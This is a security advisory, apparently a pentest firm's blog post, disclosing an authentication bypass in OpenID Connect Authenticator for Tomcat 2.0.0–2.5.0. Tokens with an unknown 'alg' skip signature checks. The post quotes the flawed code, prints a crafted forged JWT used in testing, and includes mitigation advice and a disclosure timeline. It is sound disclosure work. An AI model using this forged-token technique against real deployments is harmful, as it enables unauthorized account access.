During a customer project we identified an issue with the validation of JWT tokens that allowed us to bypass the authentication by using unsigned tokens with arbitrary payloads. During analysis we found out that this is caused by a vulnerability within the library OpenID Connect Authenticator for Tomcat.

OpenID Connect Authenticator for Tomcat between versions 2.0.0 and 2.5.0, as well as the current state on branch master contain a security flaw (introduced with commit 64e9a99) that allows attackers to bypass JWT signature validation easily.

Within the JWT validation function isSignatureValid (currently implemented in org.bsworks.catalina.authenticator.oidc.BaseOpenIDConnectAuthenticator) the signature of JWTs is not validated if the signature algorithm is unknown. However, the token is still treated as valid and passes verification.

The following code excerpt taken from src/common/java/org/bsworks/catalina/authenticator/oidc/BaseOpenIDConnectAuthenticator.java shows that in case of an unknown signature algorithm specified in the alg header, the application treats the token as valid without any further checks.

protected boolean isSignatureValid(final OPDescriptor opDesc, final JSONObject header, final String data, final byte[] signature)
        throws IOException {
    try {
        final String sigAlg = header.optString("alg");
        switch (sigAlg) {
[...]   
            default:
                this.log.warn("unsupported token signature algorithm \"" + sigAlg + "\", skipping signature verification");
                return true;
        }
[...]

During the test a valid JWT has been crafted with the following content:

Header: {"alg": "ernw", "typ": "JWT"}

Payload: {"exp": 1753953590, "iss": "https://*REDACTED*", "aud": "*REDACTED*", "email": "auth-tester01@mheinzelmann.pt.ernw.de"}

Signature: ernw

This results in the following JWT which could successfully be used during the assessment to authenticate against the application which relied on isSignatureValid to verify Bearer tokens:

eyJhbGciOiAiZXJudyIsICJ0eXAiOiAiSldUIn0.eyJleHAiOiAxNzUzOTUzNTkwLCAiaXNzIjogImh0dHBzOi8vKlJFREFDVEVEKiIsICJhdWQiOiAiKlJFREFDVEVEKiIsICJlbWFpbCI6ICJhdXRoLXRlc3RlcjAxQG1oZWluemVsbWFubi5wdC5lcm53LmRlIn0.ZXJudw

Mitigation

The application should refuse processing of any unknown or unsupported JWTs and treat the request as unauthorized.

Therefore, the application should treat the case of any unknown signature algorithm within the code accordingly.

Disclosure Timeline

After coordination with the customer, we tried contacting the vendor to disclose this vulnerability. Below, you can find a short summary of the disclosure timeline:

• September 8, 2025: Attempted to contact Boyle Software Inc. via contact form.
• October 2, 2025: Attempted to contact Boyle Software Inc. via LinkedIn.
• November 19, 2025: Attempted to contact Boyle Software Inc. via info@boylesoftware.com.
• December 2025 & January 2026: Multiple attempts of contacting Boyle Sofware Inc. via different means.
• February 17, 2026: Public disclosure of this blog post.